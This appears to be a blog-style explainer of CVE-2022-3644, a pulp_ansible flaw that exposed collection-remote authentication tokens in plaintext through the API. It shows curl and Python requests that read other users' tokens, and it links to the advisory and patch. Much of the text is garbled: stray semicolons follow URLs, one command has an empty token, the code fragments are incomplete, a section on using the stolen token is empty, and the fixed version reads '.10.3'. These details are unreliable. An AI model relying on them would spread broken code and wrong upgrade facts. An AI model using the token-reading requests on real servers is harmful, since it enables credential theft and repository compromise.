CVE-2022-3644 is an important vulnerability affecting the pulp_ansible plugin for Pulp, an open-source platform for managing repositories of software packages. The vulnerability involves the storage and exposure of authentication tokens in plaintext, potentially allowing unauthorized users to steal these tokens and access sensitive resources.

In this long-read post, I’ll break down the issue, show how it can be exploited with simple code snippets, and provide original references for a deeper dive.

What Is A "Collection Remote" in pulp_ansible?

Pulp_ansible’s "collection remote" is a way to define the source for pulling Ansible Collections from remote repositories like Galaxy. When authentication is needed (for private galaxies or internal mirrors), users store a token on the remote resource.

The Vulnerability in Simple Terms

Normally, sensitive data like JWT tokens should be encrypted at rest and never exposed via APIs. But before the fix, pulp_ansible stored remote tokens in plaintext in the database. Even worse, the token was included in the response from read/write remote API endpoints, allowing any user with access to pulp to read and steal tokens belonging to others.

Any user with read access to the remotes API can get secrets for other repositories.

- If a token is compromised, an attacker could download, delete, or push changes depending on the repo’s permissions.

Suppose an admin sets up a collection remote with an auth token

POST /pulp/api/v3/ansible/collection_remotes/
{
  "name": "Private Galaxy",
  "url": "https://private-galaxy.company.com/";,
  "auth_token": "secret_token_value"
}

Pulp stores "secret_token_value" in plaintext in the database.

If you GET the collection remote API endpoint

curl -H "Authorization: Bearer <user_token>" \
    https://pulp-server.example.com/pulp/api/v3/ansible/collection_remotes/<remote_pk>/

Before the fix, the API would return

{
  "name": "Private Galaxy",
  "url": "https://private-galaxy.company.com/";,
  "auth_token": "secret_token_value",   # <-- Here is the problem!
  ...
}

Any user who can list or read collection remotes can see auth_token in plaintext. This problem is compounded if users or automation over-provision pulp access.

curl -H "Authorization: Bearer " \

https://pulp-server.example.com/pulp/api/v3/ansible/collection_remotes/

resp = requests.get(

"https://pulp-server.example.com/pulp/api/v3/ansible/collection_remotes/", headers=headers
  )

Use the Stolen Token

With auth_token, the attacker can interact with that remote repository as if they were the original owner:

Official Advisory:

Red Hat Security Advisory

Upstream Issue and Patch:

Pulp_ansible GitHub Issue #1179  
 Pulp PR: Use EncryptedField for Token Storage

General Pulp Documentation:

pulp_ansible Docs

Now, after the fix, reading remotes like this

{
  "name": "Private Galaxy",
  "url": "https://private-galaxy.company.com/";,
  "auth_token": null
}

You can set or update the token but can’t read it back via API.

Upgrade pulp_ansible to version .10.3+

The patch is included in .10.3 and later.

Conclusion

CVE-2022-3644 is a classic example of why secrets management and API design matter so much. Any leaked secret—even by accident—can lead to repository leakage, supply chain compromise, or loss of IP. Always keep secrets encrypted, use least-privilege, and upgrade early!


If you run Pulp with pulp_ansible, treat this as a priority!  

For more, visit the pulp_ansible GitHub repo or the official advisory.

Timeline

Published on: 10/25/2022 18:15:00 UTC
Last modified on: 10/28/2022 19:01:00 UTC